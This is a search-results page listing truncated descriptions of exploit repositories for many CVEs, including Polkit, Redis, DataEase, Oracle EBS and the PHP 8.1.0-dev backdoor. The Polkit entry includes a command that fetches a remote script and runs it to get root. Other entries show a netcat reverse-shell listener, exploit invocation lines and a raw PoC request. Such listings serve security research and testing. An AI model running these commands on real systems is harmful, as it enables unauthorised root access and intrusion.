113279 matches found
CVE-2021-3560
CVE-2021-3560 Polkit 即時 Root 漏洞利用 您可以在存在 Polkit CVE-2021-3560 漏洞的機器上輸入以下命令，一鍵獲取 root 權限： sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 或者您可以下載 .sh 檔案或直接複製貼上。執行後即可即時取得 root 權限。建立的使用者名稱為 'n3on'，無密碼，腳本隨後會切換至 root。 使用方法： git clone...
Ubuntu-CVE-2026-3888-patcher
🛡️ CVE-2026-3888 修正スクリプト Many Hat Group セキュリティ勧告ツール 概要 このスクリプトは、Many Hat Group によって開発され、Ubuntu 環境で CVE-2026-3888 の影響を受けるシステムを迅速に特定し、修正するためのものです。 管理対象フリート全体での使用を想定して設計されており、以下を提供します: 自動検出 バージョン対応のパッチ適用 安全な実行制御 明確なログ記録と通知 このスクリプトの機能 実行されると、スクリプトは以下のアクションを実行します: 1. 管理者の確認 利用規約付きのスプラッシュ画面を表示...
CVE-2025-49844_POC
CVE-2025-49844POC CVE-2025-49844 POC -h ヘルプ情報を表示 ··· Redis にはRedis Luaスクリプトのリモートコード実行の脆弱性CVE-2025-49844が存在します。この脆弱性の根本的な原因は、Redis の Lua スクリプトエンジンとメモリ管理ロジックの相互作用に設計上の欠陥があることです。 ··· ··· 関連URL：https://nvd.nist.gov/vuln/detail/CVE-2025-49844 ··· 免責事項：このスクリプトは許可を得た環境でのみ使用してください。無許可のネットワーク攻撃への使用は禁止されてい...
Kintol_Shell_Upload
KintolShellUpload python 2.7...
CVE-2023-51764
CVE-2023-51764 CVE-2023-51764 のPoC リンク: https://github.com/duy-31/CVE-2023-51764 1. SMTP認証を追加 2. このスクリプトはKaliでのみテスト済みです 3. 不正な目的でスクリプトを使用しないでください...
DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002
fofa構文：title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like...
CVE-2026-24061
CVE-2026-24061 エクスプロイト - 動作版 v0.1 使用方法 ターゲットホストを指定してスクリプトを実行します: root@kitploit: python3 exploit.py 192.168.1.1 -p 2323 --debug 引数 位置引数: target ターゲットのIPまたはホスト名 オプション: -h, --help このヘルプメッセージを表示して終了 -p, --port PORT ポート デフォルト 23 --debug デバッグモードを有効化 例 root@kitploit: python3 exploit.py 192.168.1.1...
http-oracle-ebs-cve-2025-61882.nse
http-oracle-ebs-cve-2025-61882.nse Oracle E-Business Suite（CVE-2025-61882）を検出します。検出方法：多層チェック — フィンガープリンティング、バージョン確認、エンドポイント＆SSRFテスト、タイミング分析＆制御された悪用による4つの高信頼性結果。デフォルト＝安全なフィンガープリンティングのみ。aggressive=true を設定するとアクティブ/プロービングチェックが有効になり、注意して使用してください。提供：BattalionX [email protected]...
copy-fail-CVE-2026-31431
使用方法 Pythonや追加のライブラリを必要とせず、あらゆるLinux環境で使用できるように静的コンパイルします。 root@kitploit: gcc -o exploit exploit.c -lz -static ./exploit またはPythonスクリプトを実行します root@kitploit: python3 exploit.py...
CVE-2026-23744
CVE-2026-23744 CVE-2026-23744を悪用するためのPythonスクリプト 使用方法：まず、2つのターミナルを開いてください 1つ目のターミナル -- nc -nvlp 4444 2つ目のターミナル -- python CVE-2026-23744.py -lhost あなたのIP -url ターゲットURL ヘルプメニュー：python CVE-2026-23744.py -h...
CVE-2025-55315-
CVE-2025-55315 脆弱性研究 このプロジェクトには、CVE-2025-55315 脆弱性に関する研究および分析コードが含まれています。 プロジェクト概要 このリポジトリは、CVE-2025-55315 脆弱性の技術的詳細、影響範囲、および可能な悪用方法を研究・分析するために使用されます。なお、本研究は学術的およびセキュリティ防御目的のみを対象としています。 ファイル説明 CVE-2025-55315漏洞利用研究.py - 主要な研究および分析スクリプト 使用方法 Python 3 環境がインストールされていることを確認し、以下のコマンドを実行してください：...
CVE-2026-23744-script
CVE-2026-23744用のスクリプトです。MCPJam Inspector（バージョン = 1.4.2）を悪用します。ここで使用されているcurlコマンドに基づいています： https://github.com/advisories/GHSA-232v-j27c-5pp6 /etc/hostsファイルが正しく、ターゲットのドメイン/vhostを指していることを確認してください。...
Aggressor-Aggregator
Aggressor Aggregator 説明 Aggressor Script と Beacon Object File BOF のリポジトリを、Cobalt Strike 用の単一の CNA に統合するためのヘルパースクリプトです。オペレータークライアントのセットアップと破棄が頻繁に行われるレッドチーム CTF 環境での自動化を目的としています。このスクリプトは、@am0nsec による Cobalt Strike Aggressor Scripts-Ception ブログ記事のラッパーです。Windows 10、Linux、macOS でテスト済みです。 使い方 1...
CVE-2018-15473-User-Enumeration-
CVE-2018-15473 – SSHユーザー名列挙 CVE-2018-15473 を悪用して有効なSSHユーザー名を特定するために私が開発したPythonツールです。 ターゲット情報 サービス: SSH バージョン: OpenSSH 5.8p1 Debian 1ubuntu3 オペレーティングシステム: Ubuntu Linux プロトコル: SSH-2.0 評価: CVE-2018-15473（SSHユーザー名列挙）についてテスト済み 言語 Python 3 特徴 Python 3 で開発。 CVE-2018-15473 を利用して有効なSSHユーザー名を列挙します。...
CVE-2026-52102-PoC
CVE-2026-52102 - 漏洞利用 PoC 一个演示 CVE-2026-52102 的概念验证（PoC）。 使用方法 root@kitploit: python3 CVE-2026-52102-PoC.py 目标 在 targets.txt 文件中，每行添加一个目标。 注意： 仅包含你拥有或已获得明确授权进行测试的系统。 示例： root@kitploit: https://example.local:8090... https://192.168...:8090... 研究人员 姓名| LinkedIn ---|--- Rafael Romão|...
CVE-2022-24834-
CVE-2022-24834 python exploit.py -url -port...
google-osconfig-privesc
概要 googleosconfigagent プロセスは、GoogleCloudPlatform https://github.com/GoogleCloudPlatform/osconfig ツールのコンポーネントであり、各 VM 上でデフォルトで実行されます。このエージェントは root として実行され、OS config https://cloud.google.com/compute/docs/os-config-management を含むいくつかのユーザー制御可能なサービスを担当しています。OS config は、Google...
Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution
Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution - Cisco バグ: CSCur90888 エクスプロイトタイトル : Cisco UCS Manager - 2.21d - リモートコマンド実行 説明 : Firepower 9000デバイス上の1.1.2より前のCisco FX-OS、および2.24bより前、2.25から2.25aより前、3.0から3.02eより前のCisco Unified Computing System UCS Manager...
php-8.1.0-dev-backdoor-rce
PHP 8.1.0-dev バックドア リモートコード実行 PHP 8.1.0-dev バックドア システムシェルスクリプト PHP 8.1.0-dev は 2021年3月28日にバックドア付きでリリースされましたが、そのバックドアはすぐに発見され削除されました。このバージョンの PHP がサーバー上で実行されている場合、攻撃者は User-Agentt ヘッダーを送信することで任意のコードを実行できます。 問題が発見された後、元のコードは復元されましたが、その後 2度目の改ざんを受けました。この侵害により、侵害されたバージョンの PHP...